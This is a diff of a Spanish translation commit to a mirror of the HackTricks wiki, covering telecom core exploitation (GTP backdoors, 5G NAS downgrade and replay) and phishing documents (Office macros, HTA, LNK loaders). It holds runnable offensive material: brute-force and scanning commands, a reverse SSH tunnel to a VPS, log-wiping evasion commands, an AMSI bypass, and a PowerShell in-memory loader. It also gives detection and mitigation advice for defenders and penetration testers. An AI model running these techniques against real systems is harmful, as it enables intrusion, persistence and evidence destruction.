mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/active-directory-methodology/ad-certi
This commit is contained in:
parent
f6aaf546ec
commit
ab8bb9fe2d
@ -1,27 +1,27 @@
|
||||
# Explotación de redes de telecomunicaciones (GTP / Roaming Environments)
|
||||
# Explotación de redes de telecomunicaciones (GTP / entornos de roaming)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Los protocolos del core móvil (GPRS Tunnelling Protocol – GTP) a menudo atraviesan backbones de roaming semi-confiables GRX/IPX. Debido a que circulan sobre UDP con casi ninguna autenticación, **cualquier acceso dentro del perímetro de una telecom suele poder alcanzar directamente los planos de señalización del core**. Las siguientes notas recopilan trucos ofensivos observados en el wild contra SGSN/GGSN, PGW/SGW y otros nodos EPC.
|
||||
> Mobile-core protocols (GPRS Tunnelling Protocol – GTP) often traverse semi-trusted GRX/IPX roaming backbones. Because they ride on plain UDP with almost no authentication, **any foothold inside a telecom perimeter can usually reach core signalling planes directly**. The following notes collect offensive tricks observed in the wild against SGSN/GGSN, PGW/SGW and other EPC nodes.
|
||||
|
||||
## 1. Recon & Initial Access
|
||||
|
||||
### 1.1 Default OSS / NE Accounts
|
||||
Un número sorprendentemente grande de elementos de red de proveedores se entrega con usuarios SSH/Telnet hard-coded como `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Una wordlist dedicada aumenta dramáticamente el éxito del brute-force:
|
||||
### 1.1 Cuentas OSS / NE por defecto
|
||||
Un conjunto sorprendentemente grande de elementos de red de fabricantes se entrega con usuarios SSH/Telnet hard-coded como `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Una wordlist dedicada aumenta dramáticamente el éxito del brute-force:
|
||||
```bash
|
||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||
```
|
||||
Si el dispositivo expone solo una VRF de gestión, pivota primero a través de un jump host (ver la sección «SGSN Emu Tunnel» más abajo).
|
||||
Si el dispositivo expone solo una management VRF, realiza un pivot a través de un jump host primero (ver sección «SGSN Emu Tunnel» más abajo).
|
||||
|
||||
### 1.2 Descubrimiento de hosts dentro de GRX/IPX
|
||||
La mayoría de los operadores GRX todavía permiten **ICMP echo** a través del backbone. Combina `masscan` con las sondas UDP `gtpv1` integradas para mapear rápidamente los listeners GTP-C:
|
||||
### 1.2 Descubrimiento de hosts dentro de GRX/IPX
|
||||
La mayoría de los operadores GRX todavía permiten **ICMP echo** a través del backbone. Combina `masscan` con las sondas UDP integradas `gtpv1` para mapear rápidamente los listeners GTP-C:
|
||||
```bash
|
||||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
||||
```
|
||||
## 2. Enumeración de suscriptores – `cordscan`
|
||||
|
||||
La siguiente herramienta en Go genera paquetes **GTP-C Create PDP Context Request** y registra las respuestas. Cada respuesta revela el **SGSN / MME** actual que atiende el IMSI consultado y, a veces, el PLMN visitado por el suscriptor.
|
||||
La siguiente herramienta en Go crea paquetes **GTP-C Create PDP Context Request** y registra las respuestas. Cada respuesta revela el **SGSN / MME** que actualmente sirve el IMSI consultado y, a veces, el PLMN visitado del suscriptor.
|
||||
```bash
|
||||
# Build
|
||||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
@ -29,20 +29,20 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
# Usage (typical):
|
||||
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
|
||||
```
|
||||
Key flags:
|
||||
- `--imsi` IMSI del suscriptor objetivo
|
||||
Opciones clave:
|
||||
- `--imsi` IMSI del abonado objetivo
|
||||
- `--oper` Home / HNI (MCC+MNC)
|
||||
- `-w` Escribe paquetes raw a pcap
|
||||
- `-w` Escribir paquetes raw en pcap
|
||||
|
||||
Constantes importantes dentro del binario pueden ser parcheadas para ampliar los scans:
|
||||
Las constantes importantes dentro del binario se pueden parchear para ampliar los escaneos:
|
||||
```
|
||||
pingtimeout = 3 // seconds before giving up
|
||||
pco = 0x218080
|
||||
common_tcp_ports = "22,23,80,443,8080"
|
||||
```
|
||||
## 3. Ejecución de código sobre GTP – `GTPDoor`
|
||||
## 3. Code Execution over GTP – `GTPDoor`
|
||||
|
||||
`GTPDoor` es un pequeño servicio ELF que **escucha en UDP 2123 y analiza cada paquete GTP-C entrante**. Cuando la carga útil comienza con una etiqueta precompartida, el resto se descifra (AES-128-CBC) y se ejecuta vía `/bin/sh -c`. El stdout/stderr se exfiltra dentro de mensajes **Echo Response** para que nunca se cree una sesión saliente.
|
||||
`GTPDoor` es un pequeño servicio ELF que **se liga a UDP 2123 y analiza cada paquete GTP-C entrante**. Cuando la payload comienza con una etiqueta precompartida, el resto se descifra (AES-128-CBC) y se ejecuta vía `/bin/sh -c`. El stdout/stderr se exfiltran dentro de mensajes **Echo Response** para que nunca se cree una sesión saliente.
|
||||
|
||||
Paquete PoC mínimo (Python):
|
||||
```python
|
||||
@ -54,38 +54,38 @@ print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||
```
|
||||
Detección:
|
||||
* cualquier host que envíe **unbalanced Echo Requests** a las IPs de SGSN
|
||||
* bandera de versión GTP establecida en 1 mientras el tipo de mensaje = 1 (Echo) – desviación respecto a la especificación
|
||||
* el flag de versión de GTP establecido en 1 mientras message type = 1 (Echo) – desviación respecto a la especificación
|
||||
|
||||
## 4. Pivoting a través del Core
|
||||
|
||||
### 4.1 `sgsnemu` + SOCKS5
|
||||
`OsmoGGSN` incluye un emulador de SGSN capaz de **establecer un PDP context hacia un GGSN/PGW real**. Una vez negociado, Linux recibe una nueva interfaz `tun0` accesible desde el roaming peer.
|
||||
`OsmoGGSN` incluye un emulador SGSN capaz de **establecer un PDP context hacia un GGSN/PGW real**. Una vez negociado, Linux recibe una nueva interfaz `tun0` accesible desde el roaming peer.
|
||||
```bash
|
||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||
-APN internet -c 1 -d
|
||||
ip route add 172.16.0.0/12 dev tun0
|
||||
microsocks -p 1080 & # internal SOCKS proxy
|
||||
```
|
||||
Con un firewall hair-pinning adecuado, este túnel evita VLANs solo de señalización y te coloca directamente en el **data plane**.
|
||||
Con un correcto firewall hair-pinning, este túnel evita VLANs de solo señalización y te sitúa directamente en el **data plane**.
|
||||
|
||||
### 4.2 SSH Reverse Tunnel over Port 53
|
||||
DNS casi siempre está abierto en infraestructuras de roaming. Expón un servicio SSH interno en tu VPS escuchando en :53 y regresa más tarde desde casa:
|
||||
DNS suele estar casi siempre abierto en infraestructuras de roaming. Expón un servicio SSH interno en tu VPS escuchando en :53 y vuelve más tarde desde casa:
|
||||
```bash
|
||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||
```
|
||||
Compruebe que `GatewayPorts yes` esté habilitado en el VPS.
|
||||
Comprueba que `GatewayPorts yes` esté habilitado en el VPS.
|
||||
|
||||
## 5. Canales encubiertos
|
||||
|
||||
| Canal | Transporte | Decodificación | Notas |
|
||||
|---------|-----------|----------|-------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | escucha pasiva pura, sin tráfico saliente |
|
||||
|-------|-----------|---------------|-------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | escucha puramente pasiva, sin tráfico saliente |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | vigila el subdominio `*.nodep` |
|
||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | se mezcla con el tráfico legítimo de GTP |
|
||||
| GTP – `GTPDoor` | UDP 2123 | blob AES-128-CBC en IE privada | se mezcla con el tráfico legítimo de GTP-C |
|
||||
|
||||
All implants implement watchdogs that **timestomp** their binaries and re-spawn if se bloquean.
|
||||
Todos los implants implementan watchdogs que **timestomp** sus binarios y re-spawn si se bloquean.
|
||||
|
||||
## 6. Cheatsheet de Defense Evasion
|
||||
## 6. Hoja de trucos de evasión de defensas
|
||||
```bash
|
||||
# Remove attacker IPs from wtmp
|
||||
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
|
||||
@ -118,72 +118,72 @@ rm -f /tmp/sh ; history -c
|
||||
```
|
||||
## 8. Caja de herramientas
|
||||
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling descrito en secciones previas.
|
||||
* `FScan` : barridos TCP de intranet (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – herramientas personalizadas descritas en secciones anteriores.
|
||||
* `FScan` : barridos TCP en intranet (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `Responder` : LLMNR/NBT-NS rogue WPAD
|
||||
* `Microsocks` + `ProxyChains` : ligero SOCKS5 pivoting
|
||||
* `Microsocks` + `ProxyChains` : pivot ligero SOCKS5
|
||||
* `FRP` (≥0.37) : NAT traversal / asset bridging
|
||||
|
||||
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
|
||||
|
||||
El procedimiento de registro 5G se ejecuta sobre NAS (Non-Access Stratum) encima de NGAP. Hasta que la seguridad NAS se activa mediante Security Mode Command/Complete, los mensajes iniciales no están autenticados ni cifrados. Esta ventana pre-seguridad permite múltiples vectores de ataque cuando puedes observar o manipular el tráfico N2 (por ejemplo, on-path dentro del core, rogue gNB, o en un testbed).
|
||||
El procedimiento de registro 5G se ejecuta sobre NAS (Non-Access Stratum) encima de NGAP. Hasta que la seguridad NAS se activa mediante Security Mode Command/Complete, los mensajes iniciales no están autenticados ni cifrados. Esta ventana pre-seguridad permite múltiples vectores de ataque cuando puedes observar o manipular el tráfico N2 (p. ej., on-path dentro del core, rogue gNB, o en un testbed).
|
||||
|
||||
Flujo de registro (simplificado):
|
||||
- Registration Request: UE envía SUCI (SUPI encriptado) y capacidades.
|
||||
- Authentication: AMF/AUSF envían RAND/AUTN; UE devuelve RES*.
|
||||
- Security Mode Command/Complete: se negocian y activan integridad y cifrado NAS.
|
||||
- Registration Request: UE envía SUCI (SUPI encrypted with the home-network public key) y capabilities.
|
||||
- Authentication: AMF/AUSF envían RAND/AUTN; UE responde con RES*.
|
||||
- Security Mode Command/Complete: se negocian y activan la integridad y el cifrado NAS.
|
||||
- PDU Session Establishment: configuración IP/QoS.
|
||||
|
||||
Consejos para el laboratorio (no RF):
|
||||
- Core: la implementación por defecto de Open5GS es suficiente para reproducir los flujos.
|
||||
Consejos para laboratorio (no-RF):
|
||||
- Core: el despliegue por defecto de Open5GS es suficiente para reproducir los flujos.
|
||||
- UE: simulador o UE de prueba; decodificar con Wireshark.
|
||||
- Herramientas activas: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
|
||||
- Filtros de visualización útiles en Wireshark:
|
||||
- Herramientas activas: 5GReplay (captura/modifica/repite NAS dentro de NGAP), Sni5Gect (sniff/patch/inject NAS en vuelo sin levantar un rogue gNB completo).
|
||||
- Filtros útiles en Wireshark:
|
||||
- ngap.procedure_code == 15 (InitialUEMessage)
|
||||
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
|
||||
|
||||
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
|
||||
Esperado: UE/USIM debe transmitir SUCI (SUPI encrypted with the home-network public key). Encontrar un SUPI/IMSI en texto plano en el Registration Request indica un defecto de privacidad que permite el tracking persistente del suscriptor.
|
||||
### 9.1 Privacidad de identificadores: fallos de SUCI que exponen SUPI/IMSI
|
||||
Esperado: UE/USIM debe transmitir SUCI (SUPI encrypted with the home-network public key). Encontrar un SUPI/IMSI en texto claro en el Registration Request indica un defecto de privacidad que permite seguimiento persistente del suscriptor.
|
||||
|
||||
Cómo probar:
|
||||
- Captura el primer mensaje NAS en InitialUEMessage e inspecciona el Mobile Identity IE.
|
||||
- Comprobaciones rápidas en Wireshark:
|
||||
- Chequeos rápidos en Wireshark:
|
||||
- Debe decodificarse como SUCI, no como IMSI.
|
||||
- Ejemplos de filtros: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` debería existir; la ausencia junto con la presencia de `imsi` indica leakage.
|
||||
- Ejemplos de filtros: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` debería existir; la ausencia junto con la presencia de `imsi` indica exposición.
|
||||
|
||||
Qué recopilar:
|
||||
- MCC/MNC/MSIN si se exponen; registrar por UE y rastrear a través del tiempo/ubicaciones.
|
||||
Qué recoger:
|
||||
- MCC/MNC/MSIN si están expuestos; registrar por UE y rastrear a lo largo del tiempo/ubicaciones.
|
||||
|
||||
Mitigación:
|
||||
- Forzar UEs/USIMs que usen solo SUCI; alertar sobre cualquier IMSI/SUPI en el NAS inicial.
|
||||
- Forzar UEs/USIMs que usen solo SUCI; alertar ante cualquier IMSI/SUPI en el NAS inicial.
|
||||
|
||||
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
|
||||
Antecedentes:
|
||||
- UE anuncia EEA (encryption) y EIA (integrity) soportadas en el UE Security Capability IE del Registration Request.
|
||||
- Mapas comunes: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 son algoritmos null.
|
||||
Contexto:
|
||||
- El UE anuncia los EEA (encryption) y EIA (integrity) soportados en el IE UE Security Capability del Registration Request.
|
||||
- Mapeos comunes: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 son algoritmos nulos.
|
||||
|
||||
Problema:
|
||||
- Debido a que el Registration Request no está protegido por integridad, un atacante on-path puede limpiar bits de capacidad para forzar la selección de EEA0/EIA0 más adelante durante Security Mode Command. Algunos stacks permiten erróneamente algoritmos null fuera de servicios de emergencia.
|
||||
- Debido a que el Registration Request no está protegido por integridad, un atacante on-path puede limpiar bits de capability para forzar la selección de EEA0/EIA0 más tarde durante Security Mode Command. Algunas stacks permiten erróneamente algoritmos nulos fuera de servicios de emergencia.
|
||||
|
||||
Pasos ofensivos:
|
||||
- Interceptar InitialUEMessage y modificar el NAS UE Security Capability para anunciar solo EEA0/EIA0.
|
||||
- Con Sni5Gect, enganchar el mensaje NAS y parchear los bits de capacidad antes de reenviar.
|
||||
- Observar si el AMF acepta null ciphers/integrity y completa Security Mode con EEA0/EIA0.
|
||||
- Con Sni5Gect, enganchar el mensaje NAS y parchear los bits de capability antes de reenviar.
|
||||
- Observar si el AMF acepta cifrados/integridad nulos y completa Security Mode con EEA0/EIA0.
|
||||
|
||||
Verificación/visibilidad:
|
||||
- En Wireshark, confirmar los algoritmos seleccionados después de Security Mode Command/Complete.
|
||||
- Ejemplo de salida de sniffer pasivo:
|
||||
- Ejemplo de salida pasiva de sniffer:
|
||||
```
|
||||
Encyrption in use [EEA0]
|
||||
Integrity in use [EIA0, EIA1, EIA2]
|
||||
SUPI (MCC+MNC+MSIN) 9997000000001
|
||||
```
|
||||
Mitigaciones (obligatorias):
|
||||
- Configurar AMF/policy para rechazar EEA0/EIA0 excepto donde sea estrictamente obligatorio (p. ej., llamadas de emergencia).
|
||||
- Preferir aplicar EEA2/EIA2 como mínimo; registrar y generar alertas ante cualquier contexto de seguridad NAS que negocie algoritmos nulos.
|
||||
- Configurar AMF/policy para rechazar EEA0/EIA0 excepto donde esté estrictamente mandatado (p. ej., llamadas de emergencia).
|
||||
- Preferir aplicar EEA2/EIA2 como mínimo; registrar y alertar ante cualquier NAS security context que negocie algoritmos null.
|
||||
|
||||
### 9.3 Replay of initial Registration Request (pre-security NAS)
|
||||
Porque el NAS inicial carece de integridad y frescura, un InitialUEMessage+Registration Request capturado puede ser replayed al AMF.
|
||||
### 9.3 Replay de la initial Registration Request (pre-security NAS)
|
||||
Debido a que el NAS inicial carece de integridad y frescura, el InitialUEMessage+Registration Request capturado puede ser replayed al AMF.
|
||||
|
||||
Regla PoC para 5GReplay para reenviar replays coincidentes:
|
||||
```xml
|
||||
@ -208,15 +208,15 @@ boolean_expression="nas_5g.message_type == 65"/>
|
||||
</property>
|
||||
</beginning>
|
||||
```
|
||||
Qué observar:
|
||||
What to observe:
|
||||
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
|
||||
|
||||
Mitigaciones:
|
||||
Mitigations:
|
||||
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
|
||||
|
||||
### 9.4 Tooling pointers (reproducible)
|
||||
- Open5GS: levantar un AMF/SMF/UPF para emular el core; observar N2 (NGAP) y NAS.
|
||||
- Wireshark: verificar las decodificaciones de NGAP/NAS; aplicar los filtros anteriores para aislar Registration.
|
||||
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
|
||||
- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
|
||||
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
|
||||
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
|
||||
|
||||
@ -227,13 +227,13 @@ Mitigaciones:
|
||||
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
|
||||
|
||||
---
|
||||
## Ideas de detección
|
||||
1. **Cualquier dispositivo distinto de un SGSN/GGSN estableciendo Create PDP Context Requests**.
|
||||
2. **Puertos no estándar (53, 80, 443) recibiendo SSH handshakes** desde IPs internas.
|
||||
3. **Frecuentes Echo Requests sin Echo Responses correspondientes** – puede indicar GTPDoor beacons.
|
||||
4. **Alta tasa de tráfico ICMP echo-reply con campos de identifier/sequence grandes y no cero**.
|
||||
5. 5G: **InitialUEMessage que transporta NAS Registration Requests repetidos desde endpoints idénticos** (señal de replay).
|
||||
6. 5G: **NAS Security Mode negociando EEA0/EIA0** fuera de contextos de emergencia.
|
||||
## Detection Ideas
|
||||
1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
|
||||
2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
|
||||
3. **Frequent Echo Requests without corresponding Echo Responses** – might indicate GTPDoor beacons.
|
||||
4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.
|
||||
5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal).
|
||||
6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -1,35 +1,35 @@
|
||||
# Phishing Archivos y Documentos
|
||||
# Phishing: Archivos y Documentos
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Documentos de Office
|
||||
|
||||
Microsoft Word realiza una validación de datos del archivo antes de abrirlo. La validación de datos se efectúa en forma de identificación de la estructura de datos, contra el estándar OfficeOpenXML. Si ocurre algún error durante la identificación de la estructura de datos, el archivo analizado no se abrirá.
|
||||
Microsoft Word realiza validación de datos del archivo antes de abrirlo. La validación de datos se realiza en forma de identificación de la estructura de datos, contra el estándar OfficeOpenXML. Si ocurre algún error durante la identificación de la estructura de datos, el archivo que se está analizando no se abrirá.
|
||||
|
||||
Normalmente, los archivos de Word que contienen macros usan la extensión `.docm`. Sin embargo, es posible renombrar el archivo cambiando la extensión y aún conservar la capacidad de ejecución de sus macros.\
|
||||
Normalmente, los archivos de Word que contienen macros usan la extensión `.docm`. Sin embargo, es posible renombrar el archivo cambiando la extensión y aún conservar su capacidad de ejecutar macros.\
|
||||
Por ejemplo, un archivo RTF no soporta macros, por diseño, pero un archivo DOCM renombrado a RTF será manejado por Microsoft Word y será capaz de ejecutar macros.\
|
||||
Los mismos mecanismos y estructuras internas se aplican a todo el software de la Microsoft Office Suite (Excel, PowerPoint, etc.).
|
||||
Los mismos internos y mecanismos aplican a todo el software de la Microsoft Office Suite (Excel, PowerPoint etc.).
|
||||
|
||||
Puedes usar el siguiente comando para comprobar qué extensiones van a ser ejecutadas por algunos programas de Office:
|
||||
Puedes usar el siguiente comando para comprobar qué extensiones se van a ejecutar por algunos programas de Office:
|
||||
```bash
|
||||
assoc | findstr /i "word excel powerp"
|
||||
```
|
||||
Los archivos DOCX que referencian una plantilla remota (File –Options –Add-ins –Manage: Templates –Go) que incluye macros también pueden “ejecutar” macros.
|
||||
Los archivos DOCX que hacen referencia a una plantilla remota (Archivo – Opciones – Complementos – Administrar: Plantillas – Ir) que incluye macros también pueden “ejecutar” macros.
|
||||
|
||||
### Carga de imagen externa
|
||||
|
||||
Ir a: _Insert --> Quick Parts --> Field_\
|
||||
_**Categorías**: Links and References, **Nombres de campo**: includePicture, y **Nombre de archivo o URL**:_ http://<ip>/whatever
|
||||
Ve a: _Insertar --> Partes rápidas --> Campo_\
|
||||
_**Categorías**: Enlaces y referencias, **Nombres de campo**: includePicture, y **Nombre de archivo o URL**:_ http://<ip>/whatever
|
||||
|
||||
.png>)
|
||||
|
||||
### Macros Backdoor
|
||||
|
||||
Es posible usar macros para ejecutar código arbitrario desde el documento.
|
||||
Es posible utilizar macros para ejecutar código arbitrario desde el documento.
|
||||
|
||||
#### Funciones de autoload
|
||||
#### Funciones Autoload
|
||||
|
||||
Cuanto más comunes sean, más probable será que el AV las detecte.
|
||||
Cuanto más comunes sean, más probable es que el AV las detecte.
|
||||
|
||||
- AutoOpen()
|
||||
- Document_Open()
|
||||
@ -68,10 +68,10 @@ proc.Create "powershell <beacon line generated>
|
||||
|
||||
Ve a **File > Info > Inspect Document > Inspect Document**, lo que abrirá el Document Inspector. Haz clic en **Inspect** y luego en **Remove All** junto a **Document Properties and Personal Information**.
|
||||
|
||||
#### Extensión de documento
|
||||
#### Extensión del documento
|
||||
|
||||
Al terminar, selecciona el desplegable **Save as type**, cambia el formato de **`.docx`** a **Word 97-2003 `.doc`**.\
|
||||
Haz esto porque **no puedes guardar macro's inside a `.docx`** y existe un **estigma** **around** la extensión habilitada para macros **`.docm`** (p. ej., el icono en miniatura tiene un gran `!` y algunos web/email gateway las bloquean por completo). Por lo tanto, esta **legacy `.doc` extension es el mejor compromiso**.
|
||||
Cuando termines, selecciona el desplegable **Save as type**, cambia el formato de **`.docx`** a **Word 97-2003 `.doc`**.\
|
||||
Haz esto porque no puedes guardar macro's dentro de un `.docx` y existe un estigma alrededor de la extensión macro-enabled **`.docm`** (p. ej. el icono en miniatura tiene un enorme `!` y algunos gateways web/email los bloquean completamente). Por lo tanto, esta **extensión legacy `.doc` es el mejor compromiso**.
|
||||
|
||||
#### Malicious Macros Generators
|
||||
|
||||
@ -81,9 +81,9 @@ Haz esto porque **no puedes guardar macro's inside a `.docx`** y existe un **est
|
||||
|
||||
## Archivos HTA
|
||||
|
||||
Un HTA es un programa de Windows que **combina HTML y lenguajes de scripting (como VBScript y JScript)**. Genera la interfaz de usuario y se ejecuta como una aplicación "fully trusted", sin las restricciones del modelo de seguridad de un navegador.
|
||||
Un HTA es un programa de Windows que **combina HTML y lenguajes de scripting (como VBScript y JScript)**. Genera la interfaz de usuario y se ejecuta como una aplicación "fully trusted", sin las limitaciones del modelo de seguridad de un navegador.
|
||||
|
||||
Un HTA se ejecuta usando **`mshta.exe`**, que normalmente está **installed** junto con **Internet Explorer**, lo que hace que **`mshta` dependant on IE**. Por lo tanto, si este ha sido desinstalado, los HTA no podrán ejecutarse.
|
||||
Un HTA se ejecuta usando **`mshta.exe`**, que normalmente viene **instalado** junto con **Internet Explorer**, haciendo que **`mshta` dependa de IE**. Así que si se ha desinstalado, los HTA no podrán ejecutarse.
|
||||
```html
|
||||
<--! Basic HTA Execution -->
|
||||
<html>
|
||||
@ -140,7 +140,7 @@ self.close
|
||||
```
|
||||
## Forzar la autenticación NTLM
|
||||
|
||||
Hay varias formas de **forzar la autenticación NTLM "remotamente"**, por ejemplo, puedes añadir **imágenes invisibles** a correos o HTML que el usuario accederá (¿incluso HTTP MitM?). O enviar a la víctima la **dirección de archivos** que **dispararán** una **autenticación** solo por **abrir la carpeta.**
|
||||
Hay varias formas de **forzar la autenticación NTLM "remotamente"**, por ejemplo, puedes añadir **imágenes invisibles** a correos o HTML que el usuario accederá (¿incluso HTTP MitM?). O enviar a la víctima la **ubicación de archivos** que **dispararán** una **autenticación** solo por **abrir la carpeta.**
|
||||
|
||||
**Consulta estas ideas y más en las siguientes páginas:**
|
||||
|
||||
@ -156,24 +156,24 @@ Hay varias formas de **forzar la autenticación NTLM "remotamente"**, por ejempl
|
||||
|
||||
### NTLM Relay
|
||||
|
||||
No olvides que no solo puedes robar el hash o la autenticación, sino también **realizar NTLM relay attacks**:
|
||||
No olvides que no solo puedes robar el hash o la autenticación sino también **perform NTLM relay attacks**:
|
||||
|
||||
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||
|
||||
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
|
||||
|
||||
Campañas altamente efectivas entregan un ZIP que contiene dos documentos señuelo legítimos (PDF/DOCX) y un .lnk malicioso. El truco es que el loader de PowerShell real se almacena dentro de los bytes crudos del ZIP después de un marcador único, y el .lnk lo extrae y ejecuta completamente en memoria.
|
||||
Campañas altamente efectivas entregan un ZIP que contiene dos documentos señuelo legítimos (PDF/DOCX) y un .lnk malicioso. El truco es que el PowerShell loader real está almacenado dentro de los bytes crudos del ZIP después de un marcador único, y el .lnk lo extrae y ejecuta completamente en memoria.
|
||||
|
||||
Flujo típico implementado por el one-liner de PowerShell en el .lnk:
|
||||
|
||||
1) Localizar el ZIP original en rutas comunes: Desktop, Downloads, Documents, %TEMP%, %ProgramData% y el directorio padre del directorio de trabajo actual.
|
||||
2) Leer los bytes del ZIP y encontrar un marcador hardcodeado (p. ej., xFIQCV). Todo lo que siga al marcador es la carga útil de PowerShell embebida.
|
||||
3) Copiar el ZIP a %ProgramData%, extraerlo allí y abrir el .docx señuelo para aparentar legitimidad.
|
||||
4) Evadir AMSI para el proceso actual: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
1) Localizar el ZIP original en rutas comunes: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, y el directorio padre del directorio de trabajo actual.
|
||||
2) Leer los bytes del ZIP y encontrar un marcador hardcoded (p. ej., xFIQCV). Todo lo que esté después del marcador es el PowerShell payload embebido.
|
||||
3) Copiar el ZIP a %ProgramData%, extraerlo allí y abrir el .docx señuelo para aparentar legitimidad.
|
||||
4) Evadir AMSI para el proceso actual: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) Desofuscar la siguiente etapa (p. ej., eliminar todos los caracteres #) y ejecutarla en memoria.
|
||||
|
||||
Ejemplo de esqueleto de PowerShell para extraer y ejecutar la etapa embebida:
|
||||
Ejemplo de esqueleto PowerShell para extraer y ejecutar la etapa embebida:
|
||||
```powershell
|
||||
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
|
||||
$paths = @(
|
||||
@ -191,22 +191,31 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
|
||||
Invoke-Expression $code
|
||||
```
|
||||
Notas
|
||||
- La entrega a menudo abusa de subdominios PaaS reputados (p. ej., *.herokuapp.com) y puede condicionar los payloads (servir ZIPs benignos según IP/UA).
|
||||
- La etapa siguiente con frecuencia descifra shellcode base64/XOR y lo ejecuta vía Reflection.Emit + VirtualAlloc para minimizar artefactos en disco.
|
||||
- La entrega a menudo abusa de subdominios reputados de PaaS (p. ej., *.herokuapp.com) y puede gatear payloads (servir ZIP benignos según IP/UA).
|
||||
- La siguiente etapa frecuentemente descifra shellcode base64/XOR y lo ejecuta vía Reflection.Emit + VirtualAlloc para minimizar artefactos en disco.
|
||||
|
||||
Persistencia utilizada en la misma cadena
|
||||
- COM TypeLib hijacking del Microsoft Web Browser control para que IE/Explorer o cualquier app que lo embeba vuelva a lanzar el payload automáticamente. Ver detalles y comandos listos para usar aquí:
|
||||
- COM TypeLib hijacking del Microsoft Web Browser control para que IE/Explorer o cualquier app que lo embeba vuelva a ejecutar el payload automáticamente. Ver detalles y comandos listos para usar aquí:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
Hunting/IOCs
|
||||
- Archivos ZIP que contienen la cadena marcador ASCII (por ejemplo, xFIQCV) añadida a los datos del archivo.
|
||||
- Archivos ZIP que contienen la cadena marcador ASCII (p. ej., xFIQCV) añadida a los datos del archivo.
|
||||
- .lnk que enumera carpetas padre/usuario para localizar el ZIP y abre un documento señuelo.
|
||||
- Manipulación de AMSI vía [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- Hilos de negocio de larga duración que terminan con enlaces alojados bajo dominios PaaS de confianza.
|
||||
|
||||
## Archivos de Windows para robar hashes NTLM
|
||||
|
||||
Consulta la página sobre **lugares para robar credenciales NTLM**:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
